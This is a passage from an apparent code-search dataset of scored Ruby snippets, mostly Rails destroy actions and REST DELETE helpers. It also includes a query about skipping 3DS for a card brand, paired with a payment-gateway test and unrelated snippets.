"docid": "afb06f7ca270857fad56787d2f236025",
"score": "0.6652448",
"text": "def restHttpDelete(id, format = @format, sessionId = @sessionId)\n # Validate SessionId is not nil\n assert(sessionId != nil, \"Session ID passed into DELETE was nil\")\n\n urlHeader = makeUrlAndHeaders('delete',id,sessionId,format)\n @res = RestClient.delete(urlHeader[:url], urlHeader[:headers]){|response, request, result| response }\n\n puts(@res.code,@res.body,@res.raw_headers) if $SLI_DEBUG\nend",
"title": ""
},
{
"docid": "db6b3bbdb5f53eeb58683aad3526b0e5",
"score": "0.66522634",
"text": "def delete_purl(id)\n @http.delete(\n '/admin/purl' + id,\n {'Cookie' => 'NETKERNELSESSION=session:' + @session_key}\n ).value\nend",
"title": ""
},
{
"docid": "db6b3bbdb5f53eeb58683aad3526b0e5",
"score": "0.66522634",
"text": "def delete_purl(id)\n @http.delete(\n '/admin/purl' + id,\n {'Cookie' => 'NETKERNELSESSION=session:' + @session_key}\n ).value\nend",
"title": ""
},
{
"docid": "997e8f2ef81f5d16341c6e2babd858e9",
"score": "0.6642954",
"text": "def destroy\n @tsession = Tsession.find(params[:id])\n @tsession.destroy\n\n respond_to do |format|\n format.html { redirect_to tsessions_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "67b7d9f266555fad706a4ab83d4ac11a",
"score": "0.66279554",
"text": "def destroy\n @training_session = TrainingSession.find(params[:id])\n @training_session.destroy\n\n respond_to do |format|\n format.html { redirect_to training_sessions_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "545a430f8de36d8a85ac96c28e787f7d",
"score": "0.6617975",
"text": "def destroy\n @json_sample = JsonSample.find(params[:id])\n @json_sample.destroy\n\n respond_to do |format|\n format.html { redirect_to json_samples_url }\n format.json { render json: {msg: \"complete\", status: \"OK\"} }\n end\n end",
"title": ""
},
{
"docid": "a8d2893abf939e952265d5318b852ad9",
"score": "0.6612648",
"text": "def destroy\n @study.destroy\n respond_to do |format|\n format.html { redirect_to studies_url, notice: 'Study was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a8d2893abf939e952265d5318b852ad9",
"score": "0.6612648",
"text": "def destroy\n @study.destroy\n respond_to do |format|\n format.html { redirect_to studies_url, notice: 'Study was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a8d2893abf939e952265d5318b852ad9",
"score": "0.6612648",
"text": "def destroy\n @study.destroy\n respond_to do |format|\n format.html { redirect_to studies_url, notice: 'Study was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "e75452d196b241cf59ac787eba6355df",
"score": "0.6611701",
"text": "def destroy\n @casestudy = Casestudy.find(params[:id])\n @casestudy.destroy\n\n respond_to do |format|\n format.html { redirect_to casestudies_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "8f4efbd173b0e24db059b26603b48858",
"score": "0.66111225",
"text": "def destroy\n @v1_instrument_session = V1InstrumentSession.find(params[:id])\n @v1_instrument_session.destroy\n\n respond_to do |format|\n format.html { redirect_to(v1_instrument_sessions_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "7eacfddc0be3b15b14a6bcf7e8d90bfd",
"score": "0.6604827",
"text": "def destroy\n @case_study = CaseStudy.find(params[:id])\n @case_study.destroy\n\n respond_to do |format|\n format.html { redirect_to case_studies_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "278117cefd4e745976f2353d8a31f47b",
"score": "0.6591428",
"text": "def destroy\n @client_session = ClientSession.find(params[:id])\n @client_session.destroy\n\n respond_to do |format|\n format.html { redirect_to(client_sessions_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "06b1178128d9a9b50b0226ba1ebfb84b",
"score": "0.6591111",
"text": "def destroy\n @qa_session.destroy\n respond_to do |format|\n format.html { redirect_to qa_sessions_url, notice: 'QA session was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "0acd2f42245e75cf855b3ebec8dec3da",
"score": "0.6588113",
"text": "def destroy\n @session = Session.find(params[:id])\n @session.destroy\n\n head :no_content\n end",
"title": ""
},
{
"docid": "bec8b6b4ed52f4fe8490a23b6349eb94",
"score": "0.6588067",
"text": "def destroy\n @carnival_session.destroy\n respond_to do |format|\n format.html { redirect_to carnival_sessions_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "0cfc2cd07564b4ae2ef316bf4bb259a7",
"score": "0.65804136",
"text": "def destroy\n @kidstudyt.destroy\n respond_to do |format|\n format.html { redirect_to kidstudyts_url, notice: 'Kidstudyt was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f31da5a8fdae6d5e74ab69afdc546f0a",
"score": "0.65706354",
"text": "def destroy\n @teaching_session = TeachingSession.find(params[:id])\n @teaching_session.destroy\n\n respond_to do |format|\n format.html { redirect_to teaching_sessions_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "add59e1def4942b40f552d1a985a7133",
"score": "0.65704596",
"text": "def sessions_delete\n user_id, session_id = parse_authorization_header\n if user_id\n $pg.with do |pg|\n pg.exec_params('SELECT sessions_delete($1, $2)', [user_id, session_id]) do |r|\n if r.num_tuples == 1\n return [200, '']\n end\n end\n end\n end\n set_www_authenticate_header\n [401, '']\n end",
"title": ""
},
{
"docid": "0c48b5b68a8b47293dd61f25b4f3fef5",
"score": "0.65669054",
"text": "def destroy\n @session_routine = SessionRoutine.find(params[:id])\n @session_routine.destroy\n\n respond_to do |format|\n format.html { redirect_to session_routines_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "843af3aa9c4970e2622406c1f219218d",
"score": "0.6561298",
"text": "def destroy\n @student_session = StudentSession.find\n @student_session.destroy\n\n respond_to do |format|\n format.html { redirect_to(:login , :notice => 'Goodbye!') }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "345be08315bbb0b60f48c23e9e7797c9",
"score": "0.6541133",
"text": "def destroy\n @ussd_session.destroy\n respond_to do |format|\n format.html { redirect_to ussd_sessions_url, notice: 'Ussd session was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "2964f09f35e1bae64aae073650013374",
"score": "0.6538229",
"text": "def destroy\n @sleep_survey.destroy\n respond_to do |format|\n format.html { redirect_to survey_sleep_surveys_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "6fd29b7b02e7cd48720ddd5cd51592cf",
"score": "0.6536835",
"text": "def restHttpDelete(id, format = @format, sessionId = @sessionId)\n sessionId.should_not be_nil\n\n urlHeader = makeUrlAndHeaders('delete',id,sessionId,format)\n #@res = RestClient.delete(urlHeader[:url], urlHeader[:headers]){|response, request, result| response }\n\n @res = RestClient::Request.execute(:method => :delete, :url => urlHeader[:url], :headers => urlHeader[:headers],\n :timeout => 500){|response, request, result| response }\n\n puts(@res.code,@res.body,@res.raw_headers) if $SLI_DEBUG\nend",
"title": ""
},
{
"docid": "fccde4acdf9a7625e080f0ee4fb368f3",
"score": "0.65291834",
"text": "def destroy\n set_session\n\n if @session.destroy\n respond_to do |format|\n format.html { redirect_to batch_connect_sessions_url, notice: t('dashboard.batch_connect_sessions_status_blurb_delete_success') }\n format.json { head :no_content }\n end\n else\n respond_to do |format|\n format.html { redirect_to batch_connect_sessions_url, alert: t('dashboard.batch_connect_sessions_status_blurb_delete_failure') }\n format.json { render json: @session.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2119736e0eb037c313a60174ff94d056",
"score": "0.6524599",
"text": "def destroy\n @scenario = Scenario.find(params[:id])\n @scenario.destroy\n\n respond_to do |format|\n format.html { redirect_to scenarios_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "652c48dc6797ccadfc2add7d7f584739",
"score": "0.6522979",
"text": "def destroy\n @study_record.destroy\n respond_to do |format|\n format.html { redirect_to study_records_url, notice: 'Study record was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "b445c184893647d3482f8fbc6a507a52",
"score": "0.6508516",
"text": "def delete(path, params = {})\n path += '.json'\n res = @connection.delete(path, @header)\n parse_response(res)\n end",
"title": ""
},
{
"docid": "688bc4c4e8ed051c07912e766b23e733",
"score": "0.6507804",
"text": "def destroy\n @user_session = UserSession.find(params[:id])\n @user_session.destroy\n\n respond_to do |format|\n format.html { redirect_to user_sessions_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "c6a424d865ae5b87e6f373fe109ccaf8",
"score": "0.6504178",
"text": "def destroy\n \n @study.destroy\n\n respond_to do |format|\n format.html { redirect_to(studies_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "6ed52c896e343cfc207c95399c799441",
"score": "0.65040714",
"text": "def destroy\n @seven_week_session.destroy\n respond_to do |format|\n format.html { redirect_to seven_week_sessions_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "b06af3aa0c82e3ace8238a8a6d83f5c8",
"score": "0.65028274",
"text": "def destroy\n @tw_study.destroy\n respond_to do |format|\n format.html { redirect_to tw_studies_url, notice: 'Tw study was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "567a0c66b105858fb5d084bd0d061373",
"score": "0.6499223",
"text": "def destroy\n session = Session.find(params[:id])\n session.destroy\n @sessions = Session.all\n\n respond_to do |format|\n format.html { redirect_to sessions_url }\n format.json { head :no_content }\n format.js\n end\n end",
"title": ""
},
{
"docid": "6c5fb64e75c75818497609fb8828afae",
"score": "0.6491604",
"text": "def destroy\n\n sign_out\n redirect_to root_url\n #@session = Session.find(params[:id])\n #@session.destroy\n\n #respond_to do |format|\n # format.html { redirect_to sessions_url }\n # format.json { head :no_content }\n #end\n end",
"title": ""
},
{
"docid": "6fa3d8a78cc5c7d872a411b4611d0204",
"score": "0.6483856",
"text": "def deleteSession(name,node=nil)\n Jiocloud::Utils.put(sessionurl + '/destroy/' + getSessionID({:name => name,:node => node}),'')\n end",
"title": ""
},
{
"docid": "a41be49f6458790d5a2d38db09348203",
"score": "0.6482588",
"text": "def destroy\n require 'net/http'\n require 'json'\n\n # Correct URL for deleting a resource.\n uri = URI(\"http://localhost:3000/students/#{params[:id]}.json\")\n\n request = Net::HTTP::Delete.new uri\n\n # Hitting the endpoint.\n response = Net::HTTP.start uri.hostname, uri.port do |http|\n http.request request\n end\n\n if response.code == '200'\n redirect_to students_path, notice: 'Successfully removed record.'\n else\n redirect_to students_path, notice: 'Failed to delete.'\n end\n end",
"title": ""
},
{
"docid": "ab0179036240e743b4d73b1ac9bbd591",
"score": "0.6480683",
"text": "def delete_session(env, sid, options); end",
"title": ""
},
{
"docid": "7452c4d15daf08108aaa5a1b728adb31",
"score": "0.64762056",
"text": "def destroy\n @json.destroy\n\n head :no_content\n end",
"title": ""
},
{
"docid": "31e5a51b98ea334a62b796835e31f04b",
"score": "0.6475634",
"text": "def destroy\n response = RestClient.delete $api_service+\"/claim_issues/\"+params['id']\n redirect_to :action => \"index\"\n end",
"title": ""
},
{
"docid": "f44a0c9f9b959b542433baebcc27c1f2",
"score": "0.6473516",
"text": "def destroy\n check_privilege(@study_case)\n @study_case.destroy\n respond_to do |format|\n format.html { redirect_to study_cases_url, notice: 'Study case was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "43b8d9dd5f1a0fffc70d2178fa4fc74c",
"score": "0.6467978",
"text": "def destroy\n @student_counseling_session = StudentCounselingSession.find(params[:id])\n @student_counseling_session.destroy\n\n respond_to do |format|\n format.html { redirect_to(student_counseling_sessions_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "43b8d9dd5f1a0fffc70d2178fa4fc74c",
"score": "0.6467978",
"text": "def destroy\n @student_counseling_session = StudentCounselingSession.find(params[:id])\n @student_counseling_session.destroy\n\n respond_to do |format|\n format.html { redirect_to(student_counseling_sessions_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "6df272bce50d57e0c4d74f405a52d97c",
"score": "0.6465316",
"text": "def destroy\n @smalltrial = Smalltrial.find(params[:id])\n @smalltrial.destroy\n\n respond_to do |format|\n format.html { redirect_to smalltrials_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "42483eee3c22bc0f8187bfe41a396cb6",
"score": "0.6464327",
"text": "def destroy\n @intergroup_session = IntergroupSession.find(params[:id])\n @intergroup_session.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_intergroup_sessions_path }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "1d6df1047890ee9bddf7c9677462be56",
"score": "0.6461912",
"text": "def destroy\n @do_session = DoSession.find(params[:id])\n @do_session.destroy\n\n respond_to do |format|\n format.html { redirect_to do_sessions_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "4e7bcc5c550741682714a34dfac8dcdb",
"score": "0.6461114",
"text": "def destroy\n @regiment_exercise.destroy\n respond_to do |format|\n format.html { redirect_to regiment_exercises_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "1e981e7d04e44d306029c685b2342b3d",
"score": "0.6459813",
"text": "def destroy\n @session_student.destroy\n respond_to do |format|\n format.html { redirect_to session_students_url, notice: 'Session student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "dd5e6595c0b9c2edc0e4d3d21a72b7c8",
"score": "0.6454694",
"text": "def destroy\n @diagnostic_test = DiagnosticTest.find(params[:id])\n @diagnostic_test.destroy\n\n respond_to do |format|\n format.html { redirect_to client_diagnostic_tests_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "699cb485958de3b6f97893a8d33aec64",
"score": "0.64487773",
"text": "def destroy\n @test_scenario.destroy\n respond_to do |format|\n format.html { redirect_to test_scenarios_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a8726eb1f79b978e44f5dfe6b2ecff26",
"score": "0.64475",
"text": "def destroy\n agent_current_user\n \n @audition.destroy\n session[:return_to] ||= request.referer # for redirecting back to the same page upon delete from project page.\n\n respond_to do |format|\n format.html { redirect_to session.delete(:return_to), notice: 'Audition was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "c43ee1fb9a45a396bfe4afb13d4cc3e8",
"score": "0.644679",
"text": "def destroy\n @task_session.destroy\n respond_to do |format|\n format.html { redirect_to task_sessions_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "0dc30462dffc09f1a00c4942e3f0dfa6",
"score": "0.644469",
"text": "def destroy\n @camper_session.destroy\n respond_to do |format|\n format.html { redirect_to camper_sessions_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "7090d35ce63dde673393db04c543a261",
"score": "0.64434624",
"text": "def destroy\n @checkstudy.destroy\n respond_to do |format|\n format.html { redirect_to checkstudies_url, notice: 'Checkstudy was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "1cef50254141636f8dfc2dc8cf3177e7",
"score": "0.64423203",
"text": "def destroy\n @selection_session = SelectionSession.find(params[:id])\n @selection_session.destroy\n\n respond_to do |format|\n format.html { redirect_to selection_sessions_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "b58a6cb414aee5270effacc5a31ace8a",
"score": "0.64422834",
"text": "def destroy\n @clubsession = Clubsession.find(params[:id])\n @clubsession.destroy\n\n respond_to do |format|\n format.html { redirect_to clubsessions_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "0959aa963e5ffefe99ae79f07b3b7a1a",
"score": "0.64371306",
"text": "def destroy\n @stress2_survey.destroy\n respond_to do |format|\n format.html { redirect_to survey_stress2_survey_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "0abcf14639b887ef93db219521d2ea6d",
"score": "0.6436195",
"text": "def destroy\n @therapysession.destroy\n respond_to do |format|\n format.html { redirect_to therapysessions_url, notice: 'Therapysession was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "281a31629930a3be8a55bb2ce2e2102a",
"score": "0.6434241",
"text": "def destroy\n @session_log_entry = SessionLogEntry.find(params[:id])\n @session_log_entry.destroy\n\n respond_to do |format|\n format.html { redirect_to session_log_entries_url }\n format.json { head :no_content }\n end\n end",
"title": ""
}
] |
9af0880aabcf5396d930d8b1b244cd1f
|
with rule set in merchant account to skip 3DS for cards of this brand
|
[
{
"docid": "72b7bb705acc7e138327c1459d4336e7",
"score": "0.5694743",
"text": "def test_successful_authorize_with_3ds_dynamic_rule_broken\n mastercard_threed = credit_card(\n '5212345678901234',\n month: 3,\n year: 2030,\n first_name: 'John',\n last_name: 'Smith',\n verification_value: '737',\n brand: 'mastercard'\n )\n assert response = @gateway.authorize(@amount, mastercard_threed, @options.merge(threed_dynamic: true))\n assert response.test?\n refute response.authorization.blank?\n assert_equal response.params['resultCode'], 'Authorised'\n end",
"title": ""
}
] |
[
{
"docid": "ffe90103e36fd30c6d4341bb525c1179",
"score": "0.574548",
"text": "def skip_company\n @attributes[:skip_company]\n end",
"title": ""
},
{
"docid": "f99b550f0ea2544ae8038c71b162384c",
"score": "0.5604567",
"text": "def receivership_skip?(entity)\n entity.corporation? && entity.receivership? &&\n (buyable_depot_trains(entity).size < 2 ||\n [email protected]_run_route?(entity) ||\n !room?(entity) ||\n @game.silent_receivership?(entity))\n end",
"title": ""
},
{
"docid": "6a0161f2b6f2c85d1dc98c37b622b9f5",
"score": "0.55128855",
"text": "def _is_prohibited entity\n\n ## First, check the filter list\n @filter_list.each do |filter|\n if entity.name =~ /#{filter}/\n @scan_result.logger.log \"Filtering #{entity.name} based on filter #{filter}\"\n return true\n end\n end\n\n if entity.type_string == \"NetBlock\"\n cidr = entity.name.split(\"/\").last.to_i\n unless cidr >= 22\n @scan_result.logger.log_error \"SKIP Netblock too large: #{entity.type}##{entity.name}\"\n return true\n end\n\n elsif entity.type_string == \"IpAddress\"\n # 23.x.x.x\n if entity.name =~ /^23./\n @scan_result.logger.log_error \"Skipping Akamai address\"\n return true\n end\n\n else\n if (\n entity.name =~ /google.com/ ||\n entity.name =~ /goo.gl/ ||\n entity.name =~ /android/ ||\n entity.name =~ /urchin/ ||\n entity.name =~ /schema.org/ ||\n entity.name =~ /microsoft.com/ ||\n entity.name =~ /facebook.com/ ||\n entity.name =~ /cloudfront.net/ ||\n entity.name =~ /twitter.com/ ||\n entity.name =~ /w3.org/ ||\n entity.name =~ /akamai/ ||\n entity.name =~ /akamaitechnologies/ ||\n entity.name =~ /amazonaws/ ||\n entity.name =~ /purl.org/ ||\n entity.name =~ /oclc.org/ ||\n entity.name =~ /youtube.com/ ||\n entity.name =~ /xmlns.com/ ||\n entity.name =~ /ogp.me/ ||\n entity.name =~ /rdfs.org/ ||\n entity.name =~ /drupal.org/ ||\n entity.name =~ /plus.google.com/ ||\n entity.name =~ /instagram.com/ ||\n entity.name =~ /zepheira.com/ ||\n entity.name =~ /gandi.net/ ||\n entity.name == \"feeds2.feedburner.com\" )\n\n @scan_result.logger.log_error \"SKIP Prohibited entity: #{entity.type}##{entity.name}\"\n return true\n end\n\n end\n false\n end",
"title": ""
},
{
"docid": "6543162b645d5a8ccc130024565e18cd",
"score": "0.54991096",
"text": "def discontinued_provider_rewards\n brand_key_of_all_brands = brands_from_provider.map(&:brand_key).flatten\n provider_keys_of_all_provider_rewards = Rewards::ProviderReward.pluck(:provider_key).uniq\n\n missing_provider_keys = provider_keys_of_all_provider_rewards - brand_key_of_all_brands\n # Filter out already disabled records.\n Rewards::ProviderReward.where(status: \"active\", provider_key: missing_provider_keys).to_a\n end",
"title": ""
},
{
"docid": "d0a49017dfacb99cacdadcf0b9cb3e8c",
"score": "0.53902775",
"text": "def discard_cards(cards)\n\n end",
"title": ""
},
{
"docid": "ba6546f3d320d5c77338baef77892788",
"score": "0.53655684",
"text": "def skip_merchant_processing?\n total == zero\n end",
"title": ""
},
{
"docid": "2fcf6f30e29dc32e2db68cc32574faec",
"score": "0.5360894",
"text": "def discontinued_provider_reward_variants\n utis_of_all_brand_items = brands_from_provider.map { |brand| brand.rewards.map(&:utid).uniq }.flatten\n provider_keys_of_all_provider_reward_variants = Rewards::ProviderRewardVariant.pluck(:provider_key).uniq\n\n missing_provider_keys = provider_keys_of_all_provider_reward_variants - utis_of_all_brand_items\n # Filter out already disabled records.\n Rewards::ProviderRewardVariant.where(status: \"active\", provider_key: missing_provider_keys).to_a\n end",
"title": ""
},
{
"docid": "94f590ca3aac47f7b9cdd1e94be3597b",
"score": "0.53479946",
"text": "def ignore?\n cat = @data['from']['category']\n\n cat == \"Club\" || cat == \"Arts/entertainment/nightlife\"\n end",
"title": ""
},
{
"docid": "6e36e5b368b36844360c86d1731baa1a",
"score": "0.53296024",
"text": "def test_invalid_gift_card\n [[:digital], [:physical]].each do |item_type|\n puts \"test_invalid_gift_card item_type: #{item_type}\"\n clear_cookies\n login\n\n empty_cart\n\n add_items_to_cart(item_type)\n\n begin_checkout\n\n select_addresses(allow_skip: (!item_type.include? (:physical)))\n\n select_delivery if item_type.include? :physical\n\n select_payment(\n payment_type: :gift_card,\n gift_card_type: :invalid\n )\n\n assert_equal(\"#{base_url}/checkout/update/payment\", browser.url, \"incorrect location\")\n assert(browser.div(class: 'flash error').present?)\n assert(browser.text =~ /No matching Gift Card account was found/i)\n end\n end",
"title": ""
},
{
"docid": "8df3b79705395882e7f1b204ab47cf2f",
"score": "0.531502",
"text": "def should_be_skipped?(value, suit)\n return false unless @number_of_players == 3\n\n (value == '7' && suit == Card::SUITS[:clubs]) || (value == '7' && suit == Card::SUITS[:spades])\n end",
"title": ""
},
{
"docid": "f8796ed718b6db187dd15bdf0cc756f8",
"score": "0.5314463",
"text": "def not_in_deck(deck_id, cards, dataset)\n deck_cards = DeckCard.where(deck_id: deck_id)\n\n dataset\n .exclude(\n cards[:id] => deck_cards.select(:card_id),\n )\n end",
"title": ""
},
{
"docid": "870ce20ef636ac407c1adc6009120473",
"score": "0.5289928",
"text": "def deal_hole_cards\n if @variation == :omaha\n deal_card(num: 4)\n else\n deal_card(num: 2)\n end\n end",
"title": ""
},
{
"docid": "002148b846bfc0a4615a2b7816ed137e",
"score": "0.52462345",
"text": "def initialize(brand)\n @brand = brand\n #keeps track of all brands without the unless\n BRANDS << brand unless BRANDS.include?(brand)\n #is there another way to do this?\n end",
"title": ""
},
{
"docid": "5ff9237810e32c3ef97e1a07fc99c883",
"score": "0.52187383",
"text": "def reject_invalid_cart_items\n @cart.items.each do |item| \n @cart.items.delete(item) unless item.product && item.product.available? \n end \n end",
"title": ""
},
{
"docid": "7712785242211af6defab1d243ec08b6",
"score": "0.5214279",
"text": "def skip!\n super(__additional)\n end",
"title": ""
},
{
"docid": "8e92f6e69fc24659e352aa9c75793018",
"score": "0.5210162",
"text": "def discard_necklace_if_visible\n \n @visible_treasures.each do |t| \n \n if t.type == NECKLACE\n\n #Le pasamos el tesoro al CardDealer\n dealer = CardDealer.instance\n dealer.give_treasures_back(t)\n\n #Lo eliminamos de nuestros tesoros visibles (equipados)\n @visible_treasures.delete(t)\n\n #Salimos del bucle\n break\n end\n\n end\n end",
"title": ""
},
{
"docid": "e3169977ca6df7a67b966b12f2ce1f24",
"score": "0.52068025",
"text": "def discard_necklace_if_visible\n \n @visible_treasures.each do |t| \n \n if t.type == TreasureKind::NECKLACE\n\n #Le pasamos el tesoro al CardDealer\n dealer = CardDealer.instance\n dealer.give_treasure_back(t)\n\n #Lo eliminamos de nuestros tesoros visibles (equipados)\n @visible_treasures.delete(t)\n\n #Salimos del bucle\n break\n end\n\n end\n\n \n end",
"title": ""
},
{
"docid": "3867ba685f082114ecfdd272d4f08f56",
"score": "0.5204905",
"text": "def merchant_bind_card_rule_params\n params[:merchant_bind_card_rule].except(:merchant_store_id, :id).permit!\n end",
"title": ""
},
{
"docid": "3ea5aed43fdbb6d176f8a665b83f516f",
"score": "0.52033544",
"text": "def onalg_player_cardsnot_allowed(player, cards)\r\n lbl_card = cards[0]\r\n log \"#{player.name} ha giocato una carta non valida [#{nome_carta_ita(lbl_card)}]\"\r\n @player_on_gui[:can_play] = true\r\n end",
"title": ""
},
{
"docid": "8d54fdf2ff0ed2b1f85bf0d5b40e0316",
"score": "0.51951766",
"text": "def add_credit_card(post, credit_card)\n super(post,credit_card)\n add_pair(post, :Apply3DSecure, credit_card.use_3ds ? \"1\" : \"0\")\n end",
"title": ""
},
{
"docid": "7a69505c1bac81a1dd5957563b1783f9",
"score": "0.5181172",
"text": "def ignore_limbo\r\n end",
"title": ""
},
{
"docid": "1ebc77d28b54adc7e15326db7bdfd976",
"score": "0.51759905",
"text": "def skip_if_sd_active\n @skip_if_sd_active\n end",
"title": ""
},
{
"docid": "be5c02b11e63654d129e548a2a93a560",
"score": "0.51560426",
"text": "def auto_exclude\n self.exclude ||= true if !!(address.to_s.match(/p\\.?\\s?o\\.?\\sbox/i)) || # PO Boxes\n !!(self.del_flag.to_s.match(/\\W/)) ||\n !!(self.del_block.to_s.match(/\\W/)) ||\n !!(self.order_block.to_s.match(/\\W/)) ||\n #account_number.split(/\\-/).first.to_i > 700000 || # distributors, internal accounts\n marked_for_deletion? || # those which have deleted-type words in the name\n self.class.excluded_accounts.include?(self.account_number) # those which are flagged in the yaml file\n end",
"title": ""
},
{
"docid": "eeaa881180749874e473642a34b19876",
"score": "0.51476556",
"text": "def should_skip\n false\n end",
"title": ""
},
{
"docid": "bf7a52192ad553f77df00c549ec08886",
"score": "0.5144362",
"text": "def ignore_seller!\n ignored_params.concat(SELLER_PARAMS)\n ignored_params.uniq!\n end",
"title": ""
},
{
"docid": "6513c06a0bff45aa9c1d4f7a030eeb8d",
"score": "0.5140602",
"text": "def discard_effect\n @game.discard_pile_cards << \"cluster\"\n end",
"title": ""
},
{
"docid": "66faea5f1ce662fcdb5d4ca7d58a8b70",
"score": "0.51326674",
"text": "def test_create_and_validate_credit_card_from_brand\n credit_card = CreditCard.new(brand: CreditCard.brand?('4242424242424242'))\n assert_nothing_raised do\n credit_card.validate\n end\n end",
"title": ""
},
{
"docid": "0d040342fc5d9afff64364138180c1e6",
"score": "0.5122697",
"text": "def test_purchase_fails_on_unexpected_3ds_initiation\n response = @gateway.purchase(8484, @three_ds_enrolled_card, @options)\n assert_failure response\n assert_match 'Received unexpected 3DS authentication response, but a 3DS initiation flag was not included in the request.', response.message\n end",
"title": ""
},
{
"docid": "12bd3642caa0ccec14cd3b38139bf05d",
"score": "0.5112293",
"text": "def test_invalid_card_prefixes\n create_invalid_card_prefixes\n deny @bad_prefix_visa.valid?\n deny @bad_prefix_mc.valid?\n deny @bad_prefix_disc1.valid?\n deny @bad_prefix_disc2.valid?\n deny @bad_prefix_dccb.valid?\n deny @bad_prefix_amex.valid?\n end",
"title": ""
},
{
"docid": "06bdd778eaf282d30573002833b84f36",
"score": "0.5097878",
"text": "def ignore!\n @should_ignore = true\n end",
"title": ""
},
{
"docid": "534842bc8a54d59f539150c0404c52b8",
"score": "0.5091272",
"text": "def lawsuit_filed!\n lis = line_items_shipped_not_returned.select { |li| li.lawsuit_snailmail }\n Customer.transaction do\n lis.each(&:lawsuit_filed!)\n end\n lis\n end",
"title": ""
},
{
"docid": "bcdc541c12dccad5b4f32707cc49d3ea",
"score": "0.5083324",
"text": "def browsed_but_not_rented_or_recoed\n # everything cust has browsed\n to_reco = url_track_ids_for_controller_action(\"store\", \"video\").map {|video_id| Product.find_by_product_id(video_id)}.compact\n to_reco = to_reco.uniq.select { |product| product.pain < 20 }\n to_reco = to_reco - browsed_recommendations_sent\n to_reco\n end",
"title": ""
},
{
"docid": "7a7131cb4e2cf1fe21f902d6ad0dc9fd",
"score": "0.50815785",
"text": "def discard?\n response.header[\"X-Akismet-Pro-Tip\"] == \"discard\"\n end",
"title": ""
},
{
"docid": "f0864edcfc39c83f748a91ef3bd57ed6",
"score": "0.5079857",
"text": "def cloudformation_exclude(*names)\n names.each do |name|\n @catalog.delete(name)\n @blacklist[:cfn].push name\n end\n end",
"title": ""
},
{
"docid": "9e3d213683df247630f543af1a8410a7",
"score": "0.5066329",
"text": "def discard!(card)\n # TODO: Control when there're no more cards\n @cards = cards.reject { |card| card == discarded_card }\n end",
"title": ""
},
{
"docid": "ba787c3d7d312e2f793d446fb039d8ee",
"score": "0.5060543",
"text": "def skip!\n sp = @game.sp_revenue(routes)\n lb = @game.lb_revenue(routes)\n kind = if sp.zero?\n 'withhold'\n elsif lb.zero?\n 'payout'\n else\n 'half'\n end\n\n current_entity.operating_history[[@game.turn, @round.round_num]] =\n OperatingInfo.new(routes, @game.actions.last, sp + lb, @round.laid_hexes, dividend_kind: kind)\n\n process_dividend(Action::Dividend.new(current_entity, kind: kind))\n end",
"title": ""
},
{
"docid": "7864a172a514e274302ceca33db8876c",
"score": "0.50560135",
"text": "def skip; end",
"title": ""
},
{
"docid": "ff7bf0142a8ec42f57aba40ab6504fc1",
"score": "0.50551766",
"text": "def skip\n end",
"title": ""
},
{
"docid": "9ad84ee68720a4be0fd6272395369470",
"score": "0.50438035",
"text": "def creditcards_for_retailer(retailer)\n gateway = retailer.payment_method\n if gateway.type == 'Spree::Gateway::BraintreeGateway'\n \t creditcards.not_deleted.where(bt_merchant_id: retailer.bt_merchant_id)\n else\n creditcards.not_deleted.where(:retailer_id => retailer.id)\n end\n end",
"title": ""
},
{
"docid": "0f369019e65b05ec02ab086d7c8f5c99",
"score": "0.50420237",
"text": "def skip(reason=true)\n @_skip = reason\n end",
"title": ""
},
{
